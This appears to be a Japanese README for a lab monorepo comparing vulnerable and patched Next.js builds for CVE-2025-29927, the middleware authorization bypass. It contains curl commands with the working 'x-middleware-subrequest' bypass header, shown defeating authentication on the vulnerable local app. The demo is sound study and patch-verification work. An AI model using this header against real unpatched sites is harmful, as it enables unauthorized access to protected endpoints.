Next.js CVE-2025-29927 ミドルウェア脆弱性

このリポジトリは、Next.js 15.2.3バージョンとNext.js 15.1.7バージョンを使用して、CVE-2025-29927 ミドルウェア脆弱性を比較できるモノレポプロジェクトです。

脆弱性の説明

CVE-2025-29927は、Next.jsのミドルウェアで発見されたセキュリティ脆弱性で、x-middleware-subrequestヘッダーを使用して認証ミドルウェアをバイパスできる問題です。この脆弱性は以下のバージョンで影響を受けます：

Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9 上記のバージョンは、それぞれ該当するパッチバージョンにアップデートすることで解決されました。

実行方法

リポジトリをクローンします。
依存関係をインストールします： pnpm install
開発サーバーを起動します： pnpm dev
各アプリにアクセス

トークンなしで /api/protected エンドポイントにアクセスすると、アクセスが拒否されます。

$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}

$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}

有効なトークンを提供すると、保護されたエンドポイントに正常にアクセスできます。

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}

脆弱性を利用してミドルウェアをバイパスします。

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}

プロジェクト構造

nextjs-cve-2025-29927/
├── apps/
│   ├── next15_1_7/  # 脆弱なバージョン
│   └── next15_2_3/  # パッチ済みバージョン
├── packages/
│   └── ui/          # 共有UIコンポーネント
└── README.md

参考リンク

ツールをダウンロード